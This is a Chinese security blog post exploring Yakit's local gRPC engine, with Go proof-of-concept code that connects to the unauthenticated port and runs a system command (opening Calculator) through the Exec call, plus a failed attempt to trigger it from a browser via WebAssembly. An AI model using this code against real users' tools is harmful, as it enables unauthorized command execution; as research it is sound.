研究本地服务系列文章:

  1. 图一乐研究之初识Yakit(本文)
  2. 图一乐研究之本地服务猎手
  3. 本地服务猎手终章

前言

今天下载 yakit 试用了一下,颜值非常高,功能也很强大:

Untitled

撇到左上角的 127.0.0.1:49024 引起了巴斯的注意。

yakit软件大致架构为 yak engine 和 yakit gui 是分离的,通过 grpc 通信,在macOS下运行 lsof -i tcp:49024 查看占用进程yak,查看其启动命令为 $HOME/yakit-projects/yak-engine/yak grpc --port 49024

去github 逛了下找到了 protobuf 文件: https://github.com/yaklang/yakit/blob/master/app/protos/grpc.proto

看到 rpc Exec(ExecRequest) returns (stream ExecResult); 是用来执行 yaklang 脚本的,感觉有搞头。

图一乐

Untitled

简单写个demo 验证一下,能否执行与 yak 通信 :

  1. 安装 protobuf 和 protoc-gen-go
  2. protoc --go_out=plugins=grpc:. *.proto 生成 bp.go
  3. 写代码
package main

import (
	"context"
	"log"

	pb "yakit/ypb"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
)

const (
	host = "127.0.0.1:49024"
)

func main() {
	conn, err := grpc.Dial(host,
		grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()
	yak := pb.NewYakClient(conn)

	v, err := yak.Version(ctx, &pb.Empty{})
	if err != nil {
		log.Fatal(err)
	}
	log.Printf("version: %s", v.Version)
}

Untitled

可以本地通信的话没啥限制。

看看 yaklang 能不能写点有意思的,找到一个命令执行封装 ,再写个 demo 看看:

package main

import (
	"context"
	"io"
	"log"

	pb "yakit/ypb"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
)

const (
	host = "127.0.0.1:49024"
	poc  = `exec.System("open /System/Applications/Calculator.app")`
)

func main() {
	conn, err := grpc.Dial(host,
		grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()
	yak := pb.NewYakClient(conn)

	stream, err := yak.Exec(ctx, &pb.ExecRequest{
		Script: poc,
	})
	if err != nil {
		log.Fatal(err)
	}
	for {
		res, err := stream.Recv()
		if err != nil {
			if err != io.EOF {
				log.Println("recv error:", err)
			}
			break
		}
		log.Println("res", res)
	}

	if err = stream.CloseSend(); err != nil {
		log.Fatal(err)
	}
}

Untitled

本地执行那是一点卵用没有,想去探索下能不能在浏览器上访问 grpc。

第一个想到是 go wasm,巴斯把上面的代码改了改:

package main

import (
	"context"
	"fmt"
	"io"
	"syscall/js"

	pb "yakit/ypb"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
)

const (
	host = "127.0.0.1:49024"
	poc  = `exec.System("open /System/Applications/Calculator.app")`
)

var (
	console = js.Global().Get("console")
)

func main() {
	conn, err := grpc.Dial(host,
		grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		console.Call("log", fmt.Sprintf("grcp dial error: %s", err.Error()))
		return
	}
	defer conn.Close()

	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()
	yak := pb.NewYakClient(conn)

	v, err := yak.Version(ctx, &pb.Empty{})
	if err != nil {
		console.Call("log", fmt.Sprintf("version error: %s", err.Error()))
		return
	}
	console.Call("log", fmt.Sprintf("version: %s", v.Version))

	stream, err := yak.Exec(ctx, &pb.ExecRequest{
		Script: poc,
	})
	if err != nil {
		console.Call("log", fmt.Sprintf("exec error: %s", err.Error()))
		return
	}
	for {
		res, err := stream.Recv()
		if err != nil {
			if err != io.EOF {
				console.Call("log", fmt.Sprintf("stream recv error: %s", err.Error()))
			}
			break
		}
		console.Call("log", fmt.Sprintf("exec res: %#v", res))
	}

	if err = stream.CloseSend(); err != nil {
		console.Call("log", err.Error())
		return
	}
}

编译:

GOOS=js GOARCH=wasm go build -o static/main.wasm
cp "$(go env GOROOT)/misc/wasm/wasm_exec.js" static

再编写了一个 index.html

<html>
<script src="wasm_exec.js"></script>
<script>
    const go = new Go();
    WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject)
        .then((result) => go.run(result.instance));
</script>

<body>
    <img src="./hei.jpg">
</body>

</html>

起个http服务 http.server -d static ,访问看看:

Untitled

看到这个错误,巴斯猜测是wasm runtime 不支持 grpc 中的 tcp socket 等操作,而 chrome socket api 也已经失效,不再支持。

再去翻了grpc官方 虽然是支持 web https://grpc.io/docs/platforms/web/quickstart/ ,需要 envoy 的一个代理,这显然是不适用我这个情况:

Untitled

总结

感觉无解,就记录到这吧,太困了,睡觉!


Powered by Kali-Team